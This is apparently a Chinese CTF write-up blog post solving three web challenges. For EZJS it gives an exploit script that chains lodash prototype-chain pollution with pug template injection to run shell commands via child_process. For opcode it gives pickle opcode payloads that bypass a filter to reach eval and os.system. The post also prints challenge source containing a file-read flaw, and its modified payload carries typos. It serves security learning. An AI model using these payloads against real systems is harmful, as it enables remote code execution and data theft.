EZJS
一点都不ez,看了一下午还是没做出来,感觉要被开了,以前没咋遇到过js的原型链污染,现学了一下原理但还是没找不到链,属实自己的js水平太烂了。
这里用到的原型链污染原理参考:https://paper.seebug.org/1426/#_1
pug的rce漏洞原理参考:https://github.com/pugjs/pug/issues/3312
题解
随便登录后可以在newimg发现文件读取。可以先读取package.json,package-lock.json看看版本。

lodash<4.17.17时存在原型链污染漏洞,pug有rce命令执行。看一下index.js源码,核心部分如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | router.get('/admin', function(req, res, next) {   
    if (req.session.username !== undefined && req.session.isadmin !== undefined) {
      if (req.query.newimg !== undefined) req.session.img = req.query.newimg;
      var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");     var base64data = Buffer.from(imgdata, 'binary').toString('base64');
      var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑v0.0.0(尚处于开发版"};
 
      if (req.session.isadmin !== "notadmin") {
        if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;       if (req.query.diy !== undefined) req.session.diy = req.query.diy;       info.diy = req.session.diy ? req.session.diy: "尊贵的admin";       return res.render('admin', info);     } else {       return res.render('admin', info);     }   } else {     return res.render('msg', {title: 'error', msg: 'plz login first'});   } });
 
  | 
 
这个地方就是可以读取源码的漏洞原因。

往下看,判断req.session.isadmin !== "notadmin",然后的判断是关键。这里需要将req.session.debug污染成空值或其他的满足条件的来绕过,然后就可以利用pug的RCE来执行命令。

这里需要注意的是参考文章里面的payload中存在转义号,这是因为那个里面用了json解析,则要用转义号转移引号,这里则不需要。
exp:
 | import requests url="http://localhost:5000/" session=requests.session() session.post(url+'login',data={     "username":'a'*26,     "password":'b'*26 }) payload={'"].__proto__["isadmin': '123', '"].__proto__["debug': '123'} r=session.get(url+'admin',params={     "p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('" },data=payload) print(r.text)
 
  | 
 
中间很多自己node搭环境调试的过程就懒得贴了,总结一下编程代码功底还是最基础的东西呀!!!
opcode
考的是pickle的知识
参考:https://www.freebuf.com/articles/web/264363.html
            https://zhuanlan.zhihu.com/p/361349643
pickle.dumps将对象反序列化为字符串,pickle.dump将反序列化后的字符串存储为文件。
pickle.loads() 对象反序列化 pickle.load() 对象反序列化,从文件中读取数据。
看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
   | from flask import Flask from flask import request from flask import render_template from flask import session import base64 import pickle import io import builtins
  class RestrictedUnpickler(pickle.Unpickler):     blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}     def find_class(self, module, name):         if module == "builtins" and name not in self.blacklist:             return getattr(builtins, name)         raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
  def loads(data):     return RestrictedUnpickler(io.BytesIO(data)).load()
 
  app = Flask(__name__)
  app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
  @app.route('/admin', methods = ["POST","GET"]) def admin():     if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):         return "not admin"     try:         data = base64.b64decode(session['data'])         if "R" in data.decode():             return "nonono"         pickle.loads(data)     except Exception as e:         print(e)     return "success"
  @app.route('/login', methods = ["GET","POST"]) def login():     username = request.form.get('username')     password = request.form.get('password')     imagePath = request.form.get('imagePath')     session['username'] = username + password     session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))     try:         f = open(imagePath,'rb').read()     except Exception as e:         f = open('static/image/error.png','rb').read()     imageBase64 = base64.b64encode(f)     return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
  @app.route('/', methods = ["GET","POST"]) def index():     return render_template("index.html") if __name__ == '__main__':     app.run(host='0.0.0.0', port='8888')
 
  | 
 
这题的代码和一些题目的重复度较高,借鉴了Code-Breaking2018 picklecode,再套了一个XCTF抗疫赛 webtmp的opcode。限制了必须是builtins模块和一个黑名单过滤然后多过滤了一个’R’操作符,但是仔细看可以发现,根本没有用到自己定义的loads方法,直接使用了pickle,.loads()相当于根本没有过滤,从这样看的话就直接随便构造了直接弹shell都可以了,下面按照题目的预期解来看一下。
其实拿Code-Breaking的payload改一下即可,用o操作符来替换R操作符即可,原payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | cbuiltins getattr p0 (cbuiltins dict S'get' tRp1 cbuiltins globals )Rp2 00g1 (g2 S'builtins' tRp3 0g0 (g3 S'eval' tR(S'__import__("os").system("whoami")' tR.
 
  | 
 
对比一下几个操作符的区别。
| R | 
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | 
R | 
函数和参数出栈,函数的返回值入栈 | 
无 | 
| o | 
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | 
o | 
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 
无 | 
| i | 
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | 
i[module]\n[callable]\n | 
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 
无 | 
| 0 | 
丢弃栈顶对象 | 
0 | 
栈顶对象被丢弃 | 
无 | 
这里可以看出来,将R改成o需要将MARK的位置修改到要执行的函数前,并且还要去掉t操作符,0操作符其实可要可不要,加上的话逻辑更清晰
修改后payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | (cbuiltins getattr p0 cbuiltins dict S'get' op1 (cbuiltins gloabals op2 S'__builtins__'   op3 (g0 g3 S'eval' op4 (g4 S'__import__("os").system("dit")' o.
 
  | 
 
测试了一下,有时候windows上的payload也不一定能在linux上运行。

what pickle
和前面的题目有些类似了,也是先读源码,考的也是pickle,看看wp就行吧。